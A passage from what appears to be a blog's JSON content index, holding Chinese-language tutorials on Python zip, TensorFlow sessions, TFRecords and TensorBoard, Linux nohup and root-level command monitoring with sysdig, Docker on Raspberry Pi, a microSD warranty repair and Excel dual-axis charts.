None 補足：\n# 以長度最長的 List 為準 from itertools import zip_longest for x,y in zip_longest(names2, values2): print(x, y) A 11 B 23 C None 同時迭代多個 Lists 這種方式同樣適用於多個 lists 的狀況：\n# 多個 Lists names = [\u0026#34;A\u0026#34;, \u0026#34;B\u0026#34;, \u0026#34;C\u0026#34;] values = [11, 23, 46] ages = [45, 67, 82] # 使用 zip 同時迭代多個 List for x, y, z in zip(names, values, ages): print(x, y, z) A 11 45 B 23 67 C 46 82 建立 Dict 假設我們有兩個 lists 分別存放鍵與值的資料：\n# 鍵與值的資料 keys = [\u0026#34;tw\u0026#34;, \u0026#34;us\u0026#34;, \u0026#34;it\u0026#34;] values = [2.1, 3.8, 6.9] 若要用這兩個 lists 建立一個 dict，可以這樣寫：\n# 建立 Dict dict(zip(keys, values)) {'us': 3.8, 'it': 6.9, 'tw': 2.1} 補充說明 zip 的傳回值在 Python 2 與 Python 3 中會有一些差異：\nnames = [\u0026#34;A\u0026#34;, \u0026#34;B\u0026#34;, \u0026#34;C\u0026#34;] values = [11, 23, 46] zip(names, values) 若在 Python 2 中，zip 會傳回 tuples 組成的 list：\n[('A', 11), ('B', 23), ('C', 46)] 若是在 Python 3 中，則會傳回一個 tuples 的迭代器（iterator）：\n\u0026lt;zip object at 0x7f9fc4024b08\u0026gt; 若在 Python 3 中也想要產生一個由 tuples 組成的 list（就像 Python 2 一樣），可以使用：\nlist(zip(names, values)) Unzip 若要將 zip 打包過後的 list 轉回原來的兩個 lists，可以使用 zip(*zippedList) 這種寫法：\n# 打包成 Tuples 組成的 List zippedList = list(zip(names, values)) # 轉回原來的兩個 Lists n, v = zip(*zippedList) Python 2 使用迭代器 Python 3 使用迭代器的好處就是可以更有效率的處理大量的資料，而若在 Python 2 中也想使用迭代器的話，可以改用這種方式：\nimport itertools # Python 2 使用迭代器 for x, y in itertools.izip(names, values): print(x, y) # 以最長的 list 為準 for x, y in itertools.izip_longest(names, values): print(x, y) 參考資料 StackOverflow python3-cookbook ","permalink":"https://blog.gtwang.org/programming/python-iterate-through-multiple-lists-in-parallel/","summary":"\u003cp\u003e這裡介紹如何在 Python 中同時對多個 list 進行迭代，在迴圈中每次各取一個 list 中的元素進行處理。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"zip-與-for-迴圈\"\u003e\u003ccode\u003ezip\u003c/code\u003e 與 \u003ccode\u003efor\u003c/code\u003e 迴圈\u003c/h2\u003e\n\u003cp\u003e在 Python 中若要將兩個 list 以迴圈的方式一次各取一個元素出來處理，可以使用 \u003ccode\u003ezip\u003c/code\u003e 打包之後配合 \u003ccode\u003efor\u003c/code\u003e 迴圈來處理：\u003c/p\u003e","title":"Python 使用 zip 與 for 迴圈同時對多個 List 進行迭代"},{"content":"本篇是 TensorFlow 的 tf.InteractiveSession 互動式 Session 使用教學。\n在 TensorFlow 中，所有的運算都要放在 session 中執行，而如果在 shell 或 IPython notebooks 中執行 TensorFlow 的程式時，我們可以改用比較方便使用的 tf.InteractiveSession。\n正常來說，TensorFlow 的程式放在 tf.Session 中跑的時候，我們會這樣寫：\nimport tensorflow as tf a = tf.constant(5.0) b = tf.constant(6.0) c = a * b sess = tf.Session() # 使用 sess 這個 session 執行 print(sess.run(c)) sess.close() 而 tf.InteractiveSession 與 tf.Session 的作用相同，只不過 tf.InteractiveSession 在建立時，會自動將自己設定為預設的 session，這樣可以讓我們少打一些字。\nimport tensorflow as tf a = tf.constant(5.0) b = tf.constant(6.0) c = a * b # 自動設定為預設的 session sess = tf.InteractiveSession() # 直接使用 tf.Tensor.eval 執行，不需要指定 sess 變數 print(c.eval()) sess.close() 這裡的 c 在呼叫 tf.Tensor.eval 執行時，會自動使用預設的 session（也就是 sess）來執行。\n而一般的 tf.Session 只有在 with 環境之下才會將自己設定為預設的 session：\nimport tensorflow as tf a = tf.constant(5.0) b = tf.constant(6.0) c = a * b with tf.Session(): # 亦可使用 tf.Tensor.eval 執行 print(c.eval()) ","permalink":"https://blog.gtwang.org/programming/tensorflow-interactivesession-tutorial/","summary":"\u003cp\u003e本篇是 TensorFlow 的 \u003ccode\u003etf.InteractiveSession\u003c/code\u003e 互動式 Session 使用教學。\u003c/p\u003e\n\u003cp\u003e在 TensorFlow 中，所有的運算都要放在 session 中執行，而如果在 shell 或 IPython notebooks 中執行 TensorFlow 的程式時，我們可以改用比較方便使用的 \u003ccode\u003etf.InteractiveSession\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"TensorFlow 的 tf.InteractiveSession 互動式 Session 使用教學"},{"content":"這裡介紹如何在 Linux 系統上以管理者權限即時監控一般使用者所執行的任何指令。\nLinux 的 root 管理者可對系統進行任何的管理與操作，如果想要即時監控特定使用者在主機上所執行的指令，可以使用以下介紹的幾種方式。\nBash 歷史指令 目前大部分的 Linux 預設的 shell 都是 bash，而 bash 會將使用者執行過的歷史指令都儲存在 .bash_history 這個檔案中，所以只要查看這個檔案，就可以知道使用者執行了那一些指令：\nsudo cat /home/gtwang/.bash_history 不過由於 bash 並不會即時將新的指令寫入 .bash_history，所以這個只能查看使用者過去執行過的指令。\nw 指令 w 指令可以列出 Linux 系統上目前有哪些使用者登入，並且顯示每個使用者正在執行的指令。\nw 17:34:23 up 35 min, 2 users, load average: 0.49, 0.62, 0.77 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT gtwang tty7 :0 16:58 35:40 2:17 0.12s /sbin/upstart - gtwang tty2 17:33 5.00s 0.10s 0.05s -bash Sysdig 指令 Sydig 是一個功能強大的系統監控工具，可透過 Linux 系統核心取得即時的資訊，它的使用者監控功能可以顯示每個使用者所執行的指令。\n使用前要先安裝，Ubuntu Linux 可用 apt 安裝：\nsudo apt-get install sysdig 使用 Sydig 即時監控使用者的任何動作：\nsudo sysdig -c spy_users Sysdig 的輸出包含使用者的 shell 行程 ID、執行的指令與執行時間，最重要的是這些訊息都是直接從 Linux 核心模組上取得的，所以非常即時，當使用者一執行新的指令時，我們馬上就可以從 Sysdig 的輸出報表中看到。\n參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/monitor-linux-commands-executed-by-system-users-in-real-time/","summary":"\u003cp\u003e這裡介紹如何在 Linux 系統上以管理者權限即時監控一般使用者所執行的任何指令。\u003c/p\u003e\n\u003cp\u003eLinux 的 \u003ccode\u003eroot\u003c/code\u003e 管理者可對系統進行任何的管理與操作，如果想要即時監控特定使用者在主機上所執行的指令，可以使用以下介紹的幾種方式。\u003c/p\u003e","title":"即時監控 Linux 使用者執行指令的方法"},{"content":"這裡介紹如何將各種資料儲存為 TFRecords 檔案，方便在 TensorFlow 中使用。\nTensorFlow 支援許多種讀取檔案的方式（例如 TensorFlow 輸入管線），而 TensorFlow 本身也有自己標準的 TFRecords 檔案格式，可以將資料與對應的資料標示（label）儲存在一起，方便在 TensorFlow 中使用。\n在 TensorFlow 中最常見的資料應該就是圖片與對應的標示資訊，以下我們示範如何使用 Python 讀取圖片，連同標示資訊一起儲存至 TFRecords 檔案中。\nPython 讀取圖檔 在將圖片存入 TFRecords 檔案之前，必須先以 Python 程式將圖片的資料讀取出來。假設我們有 3 張圖片，每張圖的大小為 640x480。\nPython 讀取圖檔的方式有很多種，這裡我們以 numpy、skimage 與 matplotlib 這三個 Python 模組來處理圖檔的讀取以及顯示，在 Ubuntu Linux 中可以直接用 apt 安裝：\n# Python 2.7 sudo apt-get install python-numpy python-skimage python-matplotlib # Python 3.x sudo apt-get install python3-numpy python3-skimage python3-matplotlib 接著使用簡短的 Python 指令測試一下圖檔的讀取，並用 matplotlib 顯示圖形：\n#!/usr/bin/python # -*- coding: utf-8 -*- import numpy as np from skimage import io from matplotlib import pyplot as plt # 讀取 JPG 圖檔 dog_img = io.imread(\u0026#39;dog-0.jpg\u0026#39;) # 顯示點陣圖 io.imshow(dog_img) plt.show() 我們可以檢查一下圖形資料的大小：\n# 檢查資料的維度 dog_img.shape (480, 640, 3) 前兩個數字代表圖形的高度與寬度，而第三個 3 則是表示圖形有三個 channel（也就是 R、G、B）。\n寫入 TFRecords 檔案 熟悉圖片資料的基本處理方式之後，接下來就要開始實際將資料寫入 TFRecords 檔案了。\n以標準的作法來說，所有的資料都會先包裝成 Feature，然後將相關的 Features（例如圖片資料、標示等）組成一個 Example，最後再將所有的 Examples 存入 TFRecords 檔案中。\n首先引入 tensorflow 模組，定義包裝 Feature 要用的一些基本小函數。\nimport tensorflow as tf # 二進位資料 def _bytes_feature(value): return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value])) # 整數資料 def _int64_feature(value): return tf.train.Feature(int64_list=tf.train.Int64List(value=[value])) # 浮點數資料 def _float32_feature(value): return tf.train.Feature(float_list=tf.train.FloatList(value=value)) 以上分別是二進位資料、整數資料與浮點數資料的 Feature 包裝函數。\n準備好要放進 TFRecods 的圖片與相關資料，這我們以一張圖配上一個浮點數的資料來作為示範。\n# 圖片檔案名稱 image_filename_list = [\u0026#39;dog-0.jpg\u0026#39;, \u0026#39;dog-1.jpg\u0026#39;, \u0026#39;dog-2.jpg\u0026#39;]; # 標示資料 label_list = [1.0, 1.2, 0.6] 接著依據資料的類型，將資料包裝成 Feature、再組成 Example，然後寫入 TFRecords 檔案。\n# TFRecords 檔案名稱 tfrecords_filename = \u0026#39;dogs.tfrecords\u0026#39; # 建立 TFRecordWriter writer = tf.python_io.TFRecordWriter(tfrecords_filename) for image_filename, label in zip(image_filename_list, label_list): # 圖取圖檔 image = io.imread(image_filename) # 取得圖檔尺寸資訊 height, width, depth = image.shape # 序列化資料 image_string = image.tostring() # 建立包含多個 Features 的 Example example = tf.train.Example(features=tf.train.Features(feature={ \u0026#39;height\u0026#39;: _int64_feature(height), \u0026#39;width\u0026#39;: _int64_feature(width), \u0026#39;image_string\u0026#39;: _bytes_feature(image_string), \u0026#39;label\u0026#39;: _float32_feature([label])})) writer.write(example.SerializeToString()) # 關閉 TFRecordWriter writer.close() 由於圖片在經過序列化之後，會失去大小的資訊，所以這裡我們將圖片的大小資訊一起寫入 TFRecords 中，方便未來重建圖形時使用。\n讀取 TFRecords 檔案 成功寫入 TFRecords 檔案之後，接著將其內容讀取出來檢查一下：\nrecord_iterator = tf.python_io.tf_record_iterator(path=tfrecords_filename) for string_record in record_iterator: # 建立 Example example = tf.train.Example() # 解析來自於 TFRecords 檔案的資料 example.ParseFromString(string_record) # 取出 height 這個 Feature height = int(example.features.feature[\u0026#39;height\u0026#39;] .int64_list .value[0]) # 取出 width 這個 Feature width = int(example.features.feature[\u0026#39;width\u0026#39;] .int64_list .value[0]) # 取出 image_string 這個 Feature image_string = (example.features.feature[\u0026#39;image_string\u0026#39;] .bytes_list .value[0]) # 取出 label 這個 Feature label = (example.features.feature[\u0026#39;label\u0026#39;] .float_list .value[0]) image_1d = np.fromstring(image_string, dtype=np.uint8) image = image_1d.reshape((height, width, 3)) # 這裡就可以使用從 TFRecords 讀取出來的 image 與 label 了 # 顯示點陣圖 # io.imshow(image) # plt.show() TensorFlow 讀取 TFRecords 檔案 在建立好 TFRecords 檔案之後，最終的目的就是要在 TensorFlow 的程式中使用，以下是以 TensorFlow 讀取 TFRecords 資料的基本方式。\n通常機器學習模型的輸入資料維度都是固定，如果圖片大小不一，會很難使用，所以這裡我們在讀取圖片時，加上一個自動標準化圖片大小的轉換步驟，讓所有的圖片在放進 TensorFlow 流程前都可以轉為同樣的大小。\n#!/usr/bin/python # -*- coding: utf-8 -*- import numpy as np from matplotlib import pyplot as plt import tensorflow as tf import skimage.io as io # 圖片標準尺寸 IMAGE_HEIGHT = 240 IMAGE_WIDTH = 320 # TFRecords 檔案名稱 tfrecords_filename = \u0026#39;dogs.tfrecords\u0026#39; def read_and_decode(filename_queue): # 建立 TFRecordReader reader = tf.TFRecordReader() # 讀取 TFRecords 的資料 _, serialized_example = reader.read(filename_queue) # 讀取一筆 Example features = tf.parse_single_example( serialized_example, features={ \u0026#39;height\u0026#39;: tf.FixedLenFeature([], tf.int64), \u0026#39;width\u0026#39;: tf.FixedLenFeature([], tf.int64), \u0026#39;image_string\u0026#39;: tf.FixedLenFeature([], tf.string), \u0026#39;label\u0026#39;: tf.FixedLenFeature([], tf.float32) }) # 將序列化的圖片轉為 uint8 的 tensor image = tf.decode_raw(features[\u0026#39;image_string\u0026#39;], tf.uint8) # 將 label 的資料轉為 float32 的 tensor label = tf.cast(features[\u0026#39;label\u0026#39;], tf.float32) # 將圖片的大小轉為 int32 的 tensor height = tf.cast(features[\u0026#39;height\u0026#39;], tf.int32) width = tf.cast(features[\u0026#39;width\u0026#39;], tf.int32) # 將圖片調整成正確的尺寸 image = tf.reshape(image, [height, width, 3]) # 這裡可以進行其他的圖形轉換處理 ... # ... # 圖片的標準尺寸 image_size_const = tf.constant((IMAGE_HEIGHT, IMAGE_WIDTH, 3), dtype=tf.int32) # 將圖片調整為標準尺寸 resized_image = tf.image.resize_image_with_crop_or_pad(image=image, target_height=IMAGE_HEIGHT, target_width=IMAGE_WIDTH) # 打散資料順序 images, labels = tf.train.shuffle_batch( [resized_image, label], batch_size=2, capacity=30, num_threads=1, min_after_dequeue=10) return images, labels 以這個 read_and_decode 就是讀取資料用的函數，接著就可以開始使用在 TensorFlow 中讀取資料了：\n# 建立檔名佇列 filename_queue = tf.train.string_input_producer( [tfrecords_filename], num_epochs=10) # 讀取並解析 TFRecords 的資料 images, labels = read_and_decode(filename_queue) # 初始化變數 init_op = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer()) with tf.Session() as sess: # 初始化 sess.run(init_op) coord = tf.train.Coordinator() threads = tf.train.start_queue_runners(coord=coord) # 示範用的簡單迴圈 for i in range(3): img, lab = sess.run([images, labels]) # 檢查每個 batch 的圖片維度 print(img.shape) # 顯示每個 batch 的第一張圖 io.imshow(img[0, :, :, :]) plt.show() coord.request_stop() coord.join(threads) 以上就是 TFRecords 檔案格式的基本使用方式。\nTFRecords 壓縮檔案 TFRecords 本身就有支援資料壓縮的功能，只要在建立 TFRecords 檔案時加上壓縮參數即可：\n# 設定以 gzip 壓縮 compression = tf.python_io.TFRecordCompressionType.GZIP # 建立 TFRecordWriter writer = tf.python_io.TFRecordWriter(tfrecords_filename, options=tf.python_io.TFRecordOptions(compression)) 而經過壓縮的 TFRecords 檔案，在讀取時也要使用對應的壓縮參數：\n# 讀取 gzip 壓縮的 TFRecords 檔案 record_iterator = tf.python_io.tf_record_iterator(path=tfrecords_filename, options=tf.python_io.TFRecordOptions(compression)) 在 TensorFlow 中讀取壓縮的 TFRecords 檔案時，也同樣要加上壓縮的參數：\n# 建立 TFRecordReader reader = tf.TFRecordReader( options=tf.python_io.TFRecordOptions(compression)) 參考資料 Tfrecords Guide ","permalink":"https://blog.gtwang.org/programming/tensorflow-read-write-tfrecords-data-format-tutorial/","summary":"\u003cp\u003e這裡介紹如何將各種資料儲存為 TFRecords 檔案，方便在 TensorFlow 中使用。\u003c/p\u003e\n\u003cp\u003eTensorFlow 支援許多種讀取檔案的方式（例如 \u003ca href=\"/programming/tensorflow-input-pipeline-notes/\"\u003eTensorFlow 輸入管線\u003c/a\u003e），而 TensorFlow 本身也有自己標準的 TFRecords 檔案格式，可以將資料與對應的資料標示（label）儲存在一起，方便在 TensorFlow 中使用。\u003c/p\u003e","title":"TensorFlow 寫入與讀取 TFRecords 檔案格式教學"},{"content":"本篇記錄我的一張創見 MicroSD 記憶卡壞掉的狀況，以及送修處理方式。\n最近發現我有一張 16 GB 的創見 Transcend Premium 400x MicroSD 記憶卡壞掉了，而這張記憶卡是終身保固的，所以可以免費送修，不需要花錢，以下是記憶卡壞掉的狀況以及整個送修的過程紀錄。\n這張記憶卡是我裝在樹莓派中作為系統儲存媒體用的，可能是因為 I/O 量太大的關係，真的把記憶卡給操壞了，它壞掉的時候，記憶卡無法寫入任何資料，只能讀取，而系統上的紀錄檔也出現這樣的錯誤訊息。\n如果把記憶卡插在別台 Linux 機器上，掛載時也會出錯。\n在 Windows 10 中嘗試格式化這張記憶卡，也是會出現問題，錯誤訊息為「因為 I/O 裝置錯誤，所以無法執行請求」。\nMac OS X 中格式化也差不多，出現「清除程序失敗，無法打開裝置，作業失敗」的錯誤訊息。\n所以能嘗試的辦法都試過了，看來只能送修了，以下是創見產品的送修步驟。\nStep 1\n創見的送修方式很簡單，先從他的官方網站線上填寫維修申請單。第一步從已註冊的產品中選擇要送修的項目，如果沒有註冊，也可以直接輸入產品名稱與序號。建議先在官方網站註冊一下再來填送修單會比較方便，不用打那麼多字。\nStep 2\n接著填寫基本資料，地址要填方便收郵件的地方，維修完成之後，產品會寄送回這個地址。\nStep 4\n確認資訊。\nStep 5\n把填寫好的維修申請單用印表機列印下來。\nStep 6\n最後將壞掉的記憶卡連同維修申請單一起寄回創見維修中心，維修中心的地址在申請單就有，若懶得抄寫地址的話，可直接從網頁上列印地址標籤，貼在信封上。\n用郵局掛號把記憶卡寄回去之後，過兩天就收到創見的收貨確認通知信。\n隔天馬上就說已經修好，並透過郵局寄出了，速度好快。\n這就是從創見寄回來的包裹。\n外盒包裝很不錯，隙縫都用封條膠帶貼的很好，看起來就是很專業的樣子。\n結果壞掉的記憶卡送修之後，創見直接送我一張全新的！\n我這次送修記憶卡是禮拜一用郵局掛號寄出的，而禮拜五就收到新的記憶卡了，非常迅速，創見的維修服務品質真的很不錯，這樣我又可以很放心的繼續使用記憶卡了。\n這是維修的單據，創見的記憶卡都是終身保固的，非人為因素損壞的話，維修都是免費的。\n","permalink":"https://blog.gtwang.org/life/damaged-transcend-micro-sd-card-201708/","summary":"\u003cp\u003e本篇記錄我的一張創見 MicroSD 記憶卡壞掉的狀況，以及送修處理方式。\u003c/p\u003e\n\u003cp\u003e最近發現我有一張 16 GB 的創見 Transcend Premium 400x MicroSD 記憶卡壞掉了，而這張記憶卡是終身保固的，所以可以免費送修，不需要花錢，以下是記憶卡壞掉的狀況以及整個送修的過程紀錄。\u003c/p\u003e","title":"創見 MicroSD 記憶卡壞掉送修記錄"},{"content":"這裡介紹如何在 Linux 使用 nohup 執行程式，讓程式可以在離線或登出系統後繼續執行。\n對於 Linux 程式開發者來說，若遇到程式需要跑很久的狀況，通常都會把程式透過 SSH 連線放在遠端的伺服器上面慢慢跑，但如果遇到要下班的時間需要離線時，程式卻還沒跑完的話，一般的情況就只能慢慢等，或是斷線隔天重跑，遇到這樣的狀況就可以考慮 nohup 來執行程式，或是使用 screen 也可以。\nnohup 指令用法 當 Linux 使用者登出系統時，其所執行的每一個程式都會接收到一個 SIGHUP（hangup）這個信號，正常的程式收到這個信號之後，就會馬上停止執行。\n如果想讓程式可以在離線或登出之後繼續執行，可以使用 nohup 這個指令來執行程式，這個指令可以讓程式忽略 SIGHUP 這個信號，所以當使用者登出或是斷線後，程式也可以正常執行，不會受到任何影響。\nnohup 的用法很簡單，只要將要執行的程式放在 他的參數中即可，而通常我們會在尾端加上 \u0026amp; 把這個程式放在背景執行：\n# 讓程式登出後可繼續執行 nohup /path/my_program \u0026amp; nohup 在執行程式時，會將所有的輸出訊息導入 nohup.txt 這個文字檔，所以若要觀察程式的輸出，就要從這個檔案中查看：\ncat nohup.txt 也可以使用 tail 自動即時顯示最新的輸出：\ntail -f nohup.txt 指定輸出檔案 我們也可以透過重新導向輸出，將程式的輸出導入自己指定的檔案中：\n# 重新導向輸出 nohup /path/my_program \u0026amp;\u0026gt; my_log.txt \u0026amp; 這樣就會將程式的輸出導入 my_log.txt 這個檔案中。\n我們也可以將正常的訊息與錯誤訊息分開：\n# 重新導向輸出 nohup /path/my_program \u0026gt; my.out 2\u0026gt; my.err \u0026amp; 降低執行優先權 因為使用 nohup 所執行的程式通常要跑很久，而且使用者登出後還是繼續跑，有時候為了避免長期佔用太多的系統資源，我沒會用 nice 指令讓程式以較低的優先權放在背景執行，盡量不要影響到其他正常的程式：\n# 降低執行優先權 nohup nice /path/my_program \u0026amp; 使用 nice 時若不指定其 niceness 值，則預設為 10。關於 nice 詳細的用法，請參考 nice 指令教學。\n參考資料 鳥哥的 Linux 私房菜 ","permalink":"https://blog.gtwang.org/linux/linux-nohup-command-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Linux 使用 \u003ccode\u003enohup\u003c/code\u003e 執行程式，讓程式可以在離線或登出系統後繼續執行。\u003c/p\u003e\n\u003cp\u003e對於 Linux 程式開發者來說，若遇到程式需要跑很久的狀況，通常都會把程式透過 SSH 連線放在遠端的伺服器上面慢慢跑，但如果遇到要下班的時間需要離線時，程式卻還沒跑完的話，一般的情況就只能慢慢等，或是斷線隔天重跑，遇到這樣的狀況就可以考慮 \u003ccode\u003enohup\u003c/code\u003e 來執行程式，或是\u003ca href=\"/linux/screen-command-examples-to-manage-linux-terminals/\"\u003e使用 screen\u003c/a\u003e 也可以。\u003c/p\u003e","title":"Linux 的 nohup 指令使用教學與範例，登出不中斷程式執行"},{"content":"這裡介紹如何在樹莓派上面以 Docker 安裝 TensorFlow 環境，開發機器學習的程式。\nStep 1\n首先參考樹莓派安裝 Dcoker 的教學，把 Docker 環境裝好。\nStep 2\n參考 GitHub 上的 DeftWork/rpi-tensorflow，執行適用於樹莓派的 Docker 影像：\ndocker run -it -p 8888:8888 elswork/rpi-tensorflow:latest 執行時 Docker 會自動下載這個 Docker 影像。\nTensorFlow 的 jupyter 啟動時會顯示其網址，接著我們就可以使用瀏覽器開啟這個網址，開始使用 TensorFlow 了，以下是使用的畫面。\n如果要停止這個 Docker 容器，可直接按下 Ctrl + c 中止。\n另外一種停止 Docker 容器執行的方式是先查詢一下該容器的 ID：\ndocker ps 接著使用 stop 指令停止 Docker 容器：\ndocker stop docker_id 參考資料 instructables ","permalink":"https://blog.gtwang.org/iot/raspberry-pi/install-tensorflow-on-raspberry-pi-using-docker/","summary":"\u003cp\u003e這裡介紹如何在樹莓派上面以 Docker 安裝 TensorFlow 環境，開發機器學習的程式。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cspan class=\"block-label\"\u003eStep 1\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e首先參考\u003ca href=\"/iot/raspberry-pi/raspberry-pi-docker-installation-tutorial/\"\u003e樹莓派安裝 Dcoker 的教學\u003c/a\u003e，把 Docker 環境裝好。\u003c/p\u003e\n\u003cp\u003e\u003cspan class=\"block-label\"\u003eStep 2\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e參考 GitHub 上的 \u003ca href=\"https://github.com/elswork/rpi-tensorflow\"\u003eDeftWork/rpi-tensorflow\u003c/a\u003e，執行適用於樹莓派的 Docker 影像：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003edocker run -it -p 8888:8888 elswork/rpi-tensorflow:latest\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e執行時 Docker 會自動下載這個 Docker 影像。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 以 Docker 安裝 TensorFlow 教學"},{"content":"本篇是 TensorBoard 的基本使用方法教學，以視覺化呈現 TensorFlow 的計算結果。\n通常實務上以 TensorFlow 建立的模型（例如深度神經網路）都相當複雜，若要對模型進行觀察、除錯與最佳化，都有一定的難度，而 TensorBoard 是一個專門用來呈現 TensorFlow 模型與資料的視覺化工具，其支援好幾種資料的呈現方式，讓程式設計者更容易掌握複雜的模型與資料。\n準備工作 TensorBoard 本身是一個網頁應用程式，可以讀取從 TensorFlow 所輸出的資料，以網頁的方式呈現。\nTensorBoard 的網頁服務預設會使用 6006 這個連接埠，如果是在 Docker 環境中執行 TensorFlow 程式以及 TensorBoard 的話，啟動 Docker 時要記得把這個連接埠打開，這樣才能使用外部的瀏覽器觀看，例如：\nnvidia-docker run -it -p 6006:6006 tensorflow/tensorflow:latest-gpu bash 輸出資料至 TensorBoard 如果要在 TensorBoard 中觀察各種資料，首先要在 TensorFlow 的程式中以 tf.summary 將要觀察的模型或資料以事件檔案（events files）的方式輸出，讓 TensorBoard 從這些事件檔案取得資料，並且繪製各種圖形。\ntf.summary 底下有一系列的函數，可以輸出各種不同型態的資料。假設我們在訓練一個數字辨識的 CNN 模型，而我們想要觀察模型的學習率（learning rate）以及目標函數（object function）的變化情況，這兩個值都是屬於純量值（scalar），所以我們可以利用 tf.summary.scalar 來輸出，而在輸出時記得要標示清楚的資料名稱：\n# 輸出純量值 tf.summary.scalar(\u0026#39;my learning rate\u0026#39;, my_learning_rate) 如果是要觀察整群資料的分布狀況，可以使用 tf.summary.histogram 畫出資料的分布圖：\n# 輸出資料分布 tf.summary.histogram(\u0026#39;my data histogram\u0026#39;, my_data) 另外點陣圖的輸出也是很常用的功能，tf.summary.image 可以將 TensorFlow 模型內的圖片顯示在 TensorBoard 上：\n# 輸出圖形 tf.summary.image(\u0026#39;my image\u0026#39;, my_image) 在 TensorFlow 中所有的運算都要放在 session 的 run 中，或是有其他運算需要該運算的輸出時，該運算才會被執行，而我們在 TensorFlow 中可能會建立非常多的 tf.summary 節點，逐一管理這些節點會很麻煩，我們可以使用 tf.summary.merge_all 一次將所有的 tf.summary 節點匯集起來，一次放進 session 中執行。\n隨後將 tf.summary.merge_all 計算的結果（包含所有當次迭代的數值），以 tf.summary.FileWriter 寫入硬碟，而 FileWriter 在建立時會需要指定一個寫入資料用的目錄，另外也可以再加上一個 graph 的物件，讓資料呈現時可以同時顯示 tensor shape 的資訊，讓我們更了解整個模型內部的資料流狀況。\n以上就是輸出資料至 TensorBoard 大致上的流程，我們可以將每一次迭代的資料都輸出（當然這樣資料量會很大），或是每隔幾次迭代輸出一次。\nmnist_with_summaries.py 這個 Python 指令稿是根據 MNIST 手寫辨識範例所改寫的程式，其中加入許多的 summary 運算，這個指令稿可直接執行。\npython mnist_with_summaries.py 執行 TensorBoard 在執行 TensorFlow 的同時，我們就可以開啟 TensorBoard 來觀察模型中各種即時的數據，執行方式為：\ntensorboard --logdir=/tmp/tensorflow/mnist 其中 --logdir 所指定的目錄就是我們在 TensorFlow 程式中使用 tf.summary.FileWriter 寫入資料的目錄。\n執行 TensorBoard 之後，他預設會在本機的 6006 連接埠開啟一個網頁伺服器，請開啟這個網址：\nhttp://localhost:6006/ 開啟之後，應該就可以看到 TensorBoard 的畫面了。第一頁是純量值（SCALARS）的畫面，它會將每個純量在每一次迭代所輸出的值畫在圖形上，所以我們可以觀察其值收斂的情況。\n影像（IMAGES）這一頁則會呈現所有影像的輸出。\nGRAPHS 這一頁會顯示整個 TensorFlow 的模型。\n這是 DISTRIBUTIONS 頁面。\n這是 HISTOGRAMS 頁面。\n參考資料 TensorFlow 的文件 ","permalink":"https://blog.gtwang.org/programming/tensorboard-tensorflow-visualization-tutorial/","summary":"\u003cp\u003e本篇是 TensorBoard 的基本使用方法教學，以視覺化呈現 TensorFlow 的計算結果。\u003c/p\u003e\n\u003cp\u003e通常實務上以 TensorFlow 建立的模型（例如深度神經網路）都相當複雜，若要對模型進行觀察、除錯與最佳化，都有一定的難度，而 TensorBoard 是一個專門用來呈現 TensorFlow 模型與資料的視覺化工具，其支援好幾種資料的呈現方式，讓程式設計者更容易掌握複雜的模型與資料。\u003c/p\u003e","title":"使用 TensorBoard 視覺化呈現 TensorFlow 計算流程教學"},{"content":"這裡介紹如何在 Excel 中同時使用兩種圖表類型與兩個座標軸，呈現兩種不同尺度的資料。\n將 Excel 表格中的資料繪製成圖形時，如果遇到不同單位且大小差異很大的數值，畫在一起就很容易造成比較小的數值完全看不到，以下我們將以實際的例子來示範如何將兩種不同類型的資料畫在同一張圖形上，並且加上兩個座標軸。\n加入副座標軸 這裡以一個網站的瀏覽量與平均瀏覽頁數的資料來做示範，我們想畫一張圖比較看看當瀏覽量成長時，平均瀏覽頁數是否會跟著變化，如果單純使用 Excel 的插入圖表功能，插入一張折線圖的話，會像這樣：\n由於「瀏覽量」與「平均頁數」的數值差異太大了，所以畫在一起的時候，比較小的數值就會完全看不出來。以下是調整資料數列格式，加上第二個座標軸，呈現小資料的步驟。\nStep 1\n在圖形上以滑鼠點選數值太小的資料。\nStep 2\n按下滑鼠右鍵，開啟右鍵選單，然後選擇「資料數列格式」。\nStep 3\n選擇「副座標軸」。\nStep 4\n這樣就可以讓極大的資料與極小的資料同時呈現在一張圖形上了。\n變更圖表類型 如果想要以不同的圖表類型，表示不同的資料，可以變更個別資料的圖表類型。\nStep 1\n在圖形上點選滑鼠右鍵，開啟右鍵選單，然後選擇「變更數列圖表類型」。\nStep 